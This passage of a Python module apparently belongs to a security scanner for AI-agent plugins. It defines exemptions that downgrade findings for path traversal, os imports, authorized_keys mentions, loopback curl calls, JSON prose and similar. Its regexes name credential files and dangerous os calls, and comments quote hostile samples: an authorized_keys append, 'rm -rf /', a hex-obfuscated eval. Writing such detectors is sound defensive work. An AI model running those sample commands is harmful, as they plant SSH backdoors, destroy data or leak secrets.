  410. r"(?:/|\\)*(?:etc\b|passwd\b|shadow\b|\.ssh\b|\.aws\b|\.env\b|\.hermes\b|\.gnupg\b|\.kube\b"
  411. r"|\.docker\b|\.netrc\b|\.npmrc\b|\.pypirc\b|\.config\b|proc\b|root\b|home\b|var\b|usr\b|sys\b)",
  412. re.IGNORECASE)
  413. def is_repo_root_traversal(finding: Finding, line: str) -> bool:
  414. """Every ``../../..`` run on the line climbs to an ancestor dir, with no sensitive leaf after it."""
  415. if finding.pattern_id != "path_traversal_deep":
  416. return False
  417. runs = list(_TRAVERSAL_RUN.finditer(line))
  418. if not runs:
  419. return False
  420. for m in runs:
  421. # skip trailing ``../`` / ``..`` segments, then look at what the path continues into
  422. rest = line[m.end():]
  423. rest = re.sub(r"^(?:/?\.\.)*/?", "", rest)
  424. if _SENSITIVE_AFTER_TRAVERSAL.match(rest):
  425. return False
  426. return True
  427. # ── (6b) a lazy ``__import__("os")`` reading one benign member ───────────────────────────────────
  428. # ``python_import_os`` flags ``__import__("os")`` as obfuscation. A one-off lazy import that reads a
  429. # SINGLE benign os member — ``__import__("os").environ.get("X")`` (env override), ``__import__("os").
  430. # fsync(fd)`` (durable write) — is a readability shortcut, not obfuscated code execution. It caps to a
  431. # note when the attribute immediately after the import is a known read-only member and the line names
  432. # no dangerous os call (``system``/``popen``/``exec*``/``spawn*``/``remove``/``unlink``) and no exec marker.
  433. _IMPORT_OS = re.compile(r'__import__\s*\(\s*["\']os["\']\s*\)\s*\.\s*(\w+)')
  434. _BENIGN_OS_MEMBERS = {
  435. "environ", "getenv", "fsync", "fspath", "path", "sep", "linesep", "name", "getcwd", "getpid",
  436. "getppid", "urandom", "cpu_count", "uname", "stat", "listdir", "scandir", "walk", "access",
  437. "isatty", "get_terminal_size", "devnull", "curdir", "pardir", "extsep", "altsep", "pathsep",
  438. }
  439. _DANGEROUS_OS_ON_LINE = re.compile(
  440. r'\bos\s*\.\s*(?:system|popen|exec\w*|spawn\w*|remove|unlink|rmdir|removedirs)\b'
  441. r'|__import__\s*\(\s*["\']os["\']\s*\)\s*\.\s*(?:system|popen|exec\w*|spawn\w*|remove|unlink|rmdir)\b')
  442. def is_benign_lazy_os_import(finding: Finding, line: str) -> bool:
  443. """Every ``__import__("os").<attr>`` on the line reads a benign os member, with no dangerous os
  444. call and no exec marker on the line."""
  445. if finding.pattern_id != "python_import_os":
  446. return False
  447. members = [m.group(1) for m in _IMPORT_OS.finditer(line)]
  448. if not members or _DANGEROUS_OS_ON_LINE.search(line) or _EXEC_ON_LINE.search(line):
  449. return False
  450. return all(a in _BENIGN_OS_MEMBERS for a in members)
  451. # ── (6c) a disclosed, scoped config-write NOTE in install docs ───────────────────────────────────
  452. # ``hermes_config_mod`` (the prose-intent tier, ``high``) fires on install docs that transparently state
  453. # the plugin writes its OWN scoped config section — ``after-install.md``: "Write ``memory.provider:
  454. # mindgraph`` to ``~/.hermes/config.yaml``", a README "writes **only** the ``memlock:`` section". A
  455. # README already takes the generic prose cap; ``after-install.md`` is agent-facing and does not, yet a
  456. # disclosed scoped write is a reviewable behaviour, not an attack. The PROSE tier on a doc/after-install
  457. # file caps to a note (medium): the finding stays visible, the verdict is not blocked. The MECHANICAL
  458. # shell-write tier (``hermes_config_mod_shell``, ``>>``/``sed -i``/``tee`` into config.yaml) is never
  459. # demoted here and keeps full severity.
  460. _DISCLOSED_CONFIG_PROSE_IDS = {"hermes_config_mod"}
  461. _AGENT_DOC_NAMES = {"after-install.md"}
  462. def is_disclosed_config_note(finding: Finding, rel_path: str) -> bool:
  463. """A prose-intent config-mod finding on an install-doc surface (README-like ``.md`` or
  464. ``after-install.md``); the mechanical shell-write tier is excluded by pattern id."""
  465. if finding.pattern_id not in _DISCLOSED_CONFIG_PROSE_IDS:
  466. return False
  467. p = Path(rel_path)
  468. return p.suffix.lower() == ".md" or p.name.lower() in _AGENT_DOC_NAMES
  469. # ── (6d) an ``authorized_keys`` MENTION with no write action ──────────────────────────────────────
  470. # ``ssh_backdoor`` fires on the token ``authorized_keys``. A plugin whose disclosed purpose is SSH key
  471. # setup names it in a UI STRING — ``jsx(..., "Add this public key to the remote account's
  472. # authorized_keys")`` — without appending to it: the token sits inside a string literal and no write
  473. # action is on the line. That is a reviewable note. An IMPERATIVE doc instruction (``Append this key to
  474. # authorized_keys.`` in a README, agent-facing prose — not inside a literal) and any real append
  475. # (``echo "$KEY" >> ~/.ssh/authorized_keys``) keep full severity.
  476. _AUTHORIZED_KEYS_WRITE = re.compile(
  477. r">>?|\btee\b|\bcp\b|\bmv\b|\bsed\s+-\w*i|\bcat\b|writeFileSync|appendFileSync|\.(?:write|append)\w*\s*\(",
  478. re.IGNORECASE)
  479. def is_authorized_keys_prose(finding: Finding, line: str, is_doc: bool) -> bool:
  480. """An ``ssh_backdoor`` (``authorized_keys``) mention where the token sits inside a string literal
  481. (a UI label) and no write/append action is on the line. Agent-facing doc PROSE is not covered:
  482. ``is_doc`` is accepted for signature symmetry but an imperative README instruction keeps severity."""
  483. if finding.pattern_id != "ssh_backdoor" or _AUTHORIZED_KEYS_WRITE.search(line):
  484. return False
  485. pos = line.lower().find("authorized_keys")
  486. if pos < 0:
  487. return False
  488. return any(a <= pos and pos + len("authorized_keys") <= b for a, b in
  489. (m.span() for m in _LITERAL_SPANS.finditer(line)))
  490. # ── (7) loopback address with port ───────────────────────────────────────────────────────────
  491. # ``hardcoded_ip_port`` is the "network" family's egress tripwire, yet ``127.0.0.1:12306`` in a
  492. # README, an ``.mcp.json`` or a client default is a LOCAL service the plugin talks to on the same
  493. # machine — nothing leaves the host. When every IP:port on the line is loopback the finding is
  494. # informational; a routable address anywhere on the line keeps the pattern's severity.
  495. _LOOPBACK_IP_PORT = re.compile(r"\b127\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}")
  496. def is_loopback_only(finding: Finding, line: str) -> bool:
  497. """Every ``hardcoded_ip_port`` hit on the line is a 127.0.0.0/8 address."""
  498. if finding.pattern_id != "hardcoded_ip_port":
  499. return False
  500. rx = _PATTERN_BY_ID.get(finding.pattern_id)
  501. hits = list(rx.finditer(line)) if rx else []
  502. return bool(hits) and all(_LOOPBACK_IP_PORT.match(line, h.start()) for h in hits)
  503. # ── (8) ``pip install`` as words inside a message string ─────────────────────────────────────
  504. # ``unpinned_pip_install`` describes a dependency the plugin pulls at runtime. In code, the same
  505. # two words inside a quoted literal at a NON-command position — ``"... no pip install is
  506. # needed"``, ``f"(no pip install is suggested)"`` — are prose the plugin shows a user. A literal
  507. # that starts with the command (``"pip install requests"``), or names it after ``python -m`` /
  508. # ``uv`` / ``pipx`` / ``sudo`` / a shell separator, is a command string and never qualifies, nor
  509. # does any line that executes something (``subprocess.run("pip install x", shell=True)``).
  510. _PIP_INSTALL_TOKEN = re.compile(r"pip\s+install\b", re.IGNORECASE)
  511. _PIP_COMMAND_POSITION = re.compile(r"(?:^|[;&|`(]|\b(?:uv|pipx|sudo|python[\d.]*\s+-m))\s*$", re.IGNORECASE)
  512. def is_pip_install_in_prose_literal(finding: Finding, line: str) -> bool:
  513. """Every ``pip install`` on a code line sits mid-sentence inside a string literal, and the
  514. line executes nothing."""
  515. if finding.pattern_id != "unpinned_pip_install" or _EXEC_ON_LINE.search(line):
  516. return False
  517. spans = [m.span() for m in _LITERAL_SPANS.finditer(line)]
  518. hits = list(_PIP_INSTALL_TOKEN.finditer(line))
  519. def prose(h: re.Match[str]) -> bool:
  520. span = next(((a, b) for a, b in spans if a <= h.start() and h.end() <= b), None)
  521. if span is None:
  522. return False
  523. content_start = next((i for i in range(span[0], span[1]) if line[i] in "\"'`/"), span[0]) + 1
  524. return _PIP_COMMAND_POSITION.search(line[content_start:h.start()]) is None
  525. return bool(hits) and all(prose(h) for h in hits)
  526. # ── (9) ``\xHH`` escapes inside a regex character class ──────────────────────────────────────
  527. # ``hex_encoded_string`` (three ``\xHH`` escapes on one line) describes an obfuscated payload —
  528. # ``eval("\x63\x75\x72\x6c")``. A control-character or ANSI-escape *filter* is written with the
  529. # same escapes as RANGES inside a bracket class: ``/[\x00-\x1F\x7F]/``, ``[\x1b\x9b][[\]()#;?]*``.
  530. # Bytes named inside ``[...]`` are matched, never assembled into a string, so when every escape
  531. # on the line sits inside a character class the finding is informational. One ``\xHH`` outside a
  532. # class (a payload beside a filter) keeps the pattern's severity, and so does a bracket span that
  533. # holds a quote — ``[b"\x01\x00" * 200]`` is a Python LIST of byte strings, not a class.
  534. _HEX_ESCAPE = re.compile(r"\\x[0-9a-fA-F]{2}")
  535. _CHAR_CLASS = re.compile(r"\[(?:[^\]\\\n\"'`]|\\.)*\]")
  536. def is_hex_in_char_class(finding: Finding, line: str) -> bool:
  537. """Every ``\\xHH`` on the line is inside a ``[...]`` regex character class."""
  538. if finding.pattern_id != "hex_encoded_string":
  539. return False
  540. classes = [m.span() for m in _CHAR_CLASS.finditer(line)]
  541. hits = list(_HEX_ESCAPE.finditer(line))
  542. return bool(hits) and all(any(a <= h.start() and h.end() <= b for a, b in classes) for h in hits)
  543. # ── (10) loopback ``curl``/``wget`` target on a shell continuation line ──────────────────────
  544. # ``env_exfil_curl`` / ``env_exfil_wget`` already exempt a same-line loopback destination
  545. # (``curl -H "Bearer $KEY" http://localhost:8080/health`` produces no finding). A README health
  546. # check writes the same command over two lines with a trailing ``\``, so the scanner sees only
  547. # ``curl -H "Authorization: Bearer $KEY" \`` and the loopback URL never enters the regex. Re-run
  548. # the pattern over the logical line (the finding's line plus its ``\``-continuations): when it no
  549. # longer matches AND every ``http(s)://`` host on the logical line is loopback, the finding is
  550. # informational. A routable host anywhere on the logical line keeps the severity.
  551. _CONTINUATION_PATTERN_IDS = {"env_exfil_curl", "env_exfil_wget"}
  552. _URL_HOST = re.compile(r"https?://(\[[0-9a-fA-F:]+\]|[^\s/:\"'`)\]]+)")
  553. _LOOPBACK_HOSTS = {"localhost", "127.0.0.1", "[::1]"} # the pattern's own same-line exemption
  554. def logical_line(lines: list[str], index: int) -> str:
  555. """``lines[index]`` joined with the lines a trailing backslash continues onto (max 8)."""
  556. out = [lines[index]]
  557. i = index
  558. while i + 1 < len(lines) and len(out) <= 8 and lines[i].rstrip().endswith("\\"):
  559. i += 1
  560. out.append(lines[i])
  561. return " ".join(part.rstrip().rstrip("\\") for part in out)
  562. def is_loopback_continuation(finding: Finding, line: str, joined: str) -> bool:
  563. """The line continues with ``\\``, the finding's own pattern stops matching on the logical
  564. line, and every ``http(s)://`` host on it is loopback."""
  565. if finding.pattern_id not in _CONTINUATION_PATTERN_IDS or not line.rstrip().endswith("\\"):
  566. return False
  567. rx = _PATTERN_BY_ID.get(finding.pattern_id)
  568. hosts = [m.group(1).lower() for m in _URL_HOST.finditer(joined)]
  569. return rx is not None and rx.search(joined) is None and bool(hosts) and all(h in _LOOPBACK_HOSTS for h in hosts)
  570. # ── (11) prose string values in a JSON data file ────────────────────────────────────────────
  571. # A translation table or tips file (``tips_zh.json``: ``"en": "Bare sudo commands are
  572. # auto-rewritten …"`` and a ``"tips": [ … ]`` list of sentences) is read with ``json.load`` and
  573. # shown to a human. On a ``"key": "value"`` line whose key is a sentence or a plain data name, or a
  574. # bare string list element, a token in the MIDDLE of the string is prose
  575. # and takes the README prose cap for a ``high`` finding (one step down; agent-facing shapes keep
  576. # full severity, and a ``critical`` stays critical — data a plugin's code may still hand to a
  577. # shell can lose a confirm prompt here, never a block). A string
  578. # that starts with the command (``"cleanup": "rm -rf /"``) or names it after a shell separator or
  579. # ``sudo``/``exec`` (``"sudo",`` in an ``args`` array), keys that name something executed
  580. # (``"command"``, ``"postinstall"``, ``"run"``, ``"args"`` …) and ``package.json`` (npm runs its
  581. # ``scripts``) keep the severity.
  582. _JSON_STRING_LINE = re.compile(r'^\s*(?:"(?P<k>(?:[^"\\]|\\.)*)"\s*:\s*)?"(?P<v>(?:[^"\\]|\\.)*)"\s*,?\s*$')
  583. _JSON_COMMAND_KEY = re.compile(r"cmd|command|script|exec|run|shell|install|hook|arg|entry|bin|start|setup", re.IGNORECASE)
  584. _JSON_EXECUTED_FILES = {"package.json"}
  585. _COMMAND_POSITION = re.compile(r"(?:^|[;&|`(]|\$\(|\b(?:sudo|exec|eval|do|then|xargs|bash|sh|-c))\s*$", re.IGNORECASE)
  586. def is_json_prose_value(finding: Finding, rel_path: str, line: str) -> bool:
  587. """Every hit sits mid-sentence inside the key or value of a ``"key": "string"`` pair (or a bare
  588. string list element) in a ``.json`` data file, under a key that does not name something executed."""
  589. p = Path(rel_path)
  590. if finding.severity != "high" or p.suffix.lower() != ".json" or p.name.lower() in _JSON_EXECUTED_FILES:
  591. return False
  592. m = _JSON_STRING_LINE.match(line)
  593. rx = _PATTERN_BY_ID.get(finding.pattern_id)
  594. if m is None or rx is None:
  595. return False
  596. key = m.group("k")
  597. if key is not None and not re.search(r"\s", key) and _JSON_COMMAND_KEY.search(key):
  598. return False
  599. def prose(h: re.Match[str]) -> bool:
  600. part = next((g for g in ("k", "v") if m.start(g) <= h.start() and h.end() <= m.end(g)), None)
  601. return part is not None and _COMMAND_POSITION.search(line[m.start(part):h.start()]) is None
  602. hits = list(rx.finditer(line))
  603. return bool(hits) and all(prose(h) for h in hits)
  604. # ── (12) a coin NAME without any mining machinery ───────────────────────────────────────────
  605. # ``crypto_mining`` keys on miner software and pool protocols (``xmrig``, ``stratum+tcp``,
  606. # ``coinhive``, ``cryptonight``) plus the bare coin name ``monero``. The name alone is a keyword
  607. # in a connector catalog or search index (``"monero gateway"``, ``… monero multimodal …``), not a
  608. # miner: with no miner binary, pool, algorithm or mining verb on the line it lands at medium
  609. # (reported, verdict-neutral). Any of those beside it keeps the pattern's severity.
  610. _MINING_MACHINERY = re.compile(
  611. r"xmrig|stratum|coinhive|cryptonight|randomx|cpuminer|minerd|nicehash|hashrate|donate-level"
  612. r"|\bmin(?:e[sd]?|ers?|ing)\b|--(?:coin|algo)\b", re.IGNORECASE)
  613. def _is_standalone_coin_name(line: str, start: int, end: int) -> bool:
  614. return (line[start:end].lower() == "monero" and (start == 0 or not line[start - 1].isalnum())
  615. and (end == len(line) or not line[end].isalnum()))
  616. def is_coin_name_only(finding: Finding, line: str) -> bool:
  617. """Every ``crypto_mining`` hit on the line is the standalone word ``monero`` and nothing on
  618. the line names mining software, a pool or the act of mining."""
  619. if finding.pattern_id != "crypto_mining" or _MINING_MACHINERY.search(line):
  620. return False
  621. rx = _PATTERN_BY_ID.get(finding.pattern_id)
  622. hits = list(rx.finditer(line)) if rx else []
  623. return bool(hits) and all(_is_standalone_coin_name(line, h.start(), h.end()) for h in hits)
  624. # Key shapes the vendor documents as public, shipped in every copy of a client: a Google
  625. # installed-app (desktop/CLI) OAuth client secret (``GOCSPX-``, gcloud ships one) and a PostHog
  626. # project API key (``phc_``, a write-only ingest key every web page embeds). The literal identifies
  627. # a client rather than leaking a credential, so it stays in the report for review (caution) instead
  628. # of hard-blocking the install. Only when EVERY ``hardcoded_secret`` literal on the line has one of
  629. # these prefixes: a PostHog personal key (``phx_``) or any other token beside it keeps critical.
  630. _PUBLIC_CLIENT_KEY_PREFIXES = ("GOCSPX-", "phc_")
  631. _SECRET_LITERAL = re.compile(r'[=:]\s*["\']([A-Za-z0-9+/=_-]{20,})')
  632. def is_public_client_key(finding: Finding, line: str) -> bool:
  633. """A ``hardcoded_secret`` hit whose every matched literal is a public-by-design client key."""
  634. if finding.pattern_id != "hardcoded_secret":
  635. return False
  636. literals = [_SECRET_LITERAL.search(m.group(0)) for m in _PATTERN_BY_ID["hardcoded_secret"].finditer(line)]
  637. return bool(literals) and all(
  638. lit is not None and lit.group(1).startswith(_PUBLIC_CLIENT_KEY_PREFIXES) for lit in literals)
  639. # ``/proc/self/<leaf>`` and ``/proc/<pid>/<leaf>`` files that describe scheduling and container
  640. # placement (cgroup membership, mount layout, start time in ``stat``, limits): container CPU-quota
  641. # detection and pid-reuse checks read them. A read of one of these is not process introspection.
  642. # The leaves that leak or reach another process keep ``high``: ``environ``, ``cmdline``, ``mem``,
  643. # ``maps``, ``fd``, ``root``/``cwd`` (procfs escape into the host tree), ``exe``, ``ns`` and any
  644. # leaf not listed, as do a bare ``/proc/self`` and any write.
  645. _BENIGN_PROC_LEAVES = frozenset({
  646. "cgroup", "mountinfo", "mounts", "stat", "statm", "status", "limits", "io", "comm", "cpuset",
  647. "sched", "schedstat", "oom_score"})
  648. _PROC_PATH = re.compile(r"/proc/(?:self|\d+)(?:/([\w.-]*))?")
  649. _PROC_WRITE = re.compile(
  650. r"write_text|write_bytes|\.write\s*\(|open\s*\([^)\n]{0,300}?['\"][rbt]*[wax+][rbt+]*['\"]|O_WRONLY|O_RDWR|>\s*['\"]?/proc/|\btee\b")
  651. def is_own_proc_read(finding: Finding, line: str) -> bool:
  652. """A ``proc_access`` hit where every ``/proc`` path on the line is a benign leaf, read only."""
  653. if finding.pattern_id != "proc_access":
  654. return False
  655. leaves = [m.group(1) for m in _PROC_PATH.finditer(line)]
  656. return bool(leaves) and all(leaf in _BENIGN_PROC_LEAVES for leaf in leaves) and not _PROC_WRITE.search(line)
  657. __all__ = [
  658. "DOC_PROSE_EXTENSIONS",
  659. "LITERAL_INERT_PATTERN_IDS",
  660. "STEP_DOWN",
  661. "TEST_TREE_DIRS",
  662. "is_agent_facing",
  663. "is_authorized_keys_prose",
  664. "is_base64_archive_roundtrip",
  665. "is_base64_media",
  666. "is_benign_lazy_os_import",
  667. "is_ci_workflow",
  668. "is_coin_name_only",
  669. "is_disclosed_config_note",
  670. "is_doc_prose",
  671. "is_env_dump_in_safety_clause",
  672. "is_hex_in_char_class",
  673. "is_inert_fixture_line",
  674. "is_json_prose_value",
  675. "is_loopback_continuation",
  676. "is_loopback_only",
  677. "is_own_proc_read",
  678. "is_pip_install_in_prose_literal",
  679. "is_public_client_key",
  680. "is_quoted_injection_phrase",
  681. "is_regex_alternation_token",
  682. "is_repo_root_traversal",
  683. "is_self_uninstall_doc",
  684. "is_sudo_inert",
  685. "is_test_tree",
  686. "is_trusted_installer_pipe",
  687. "logical_line",
  688. "prose_cap",
  689. ]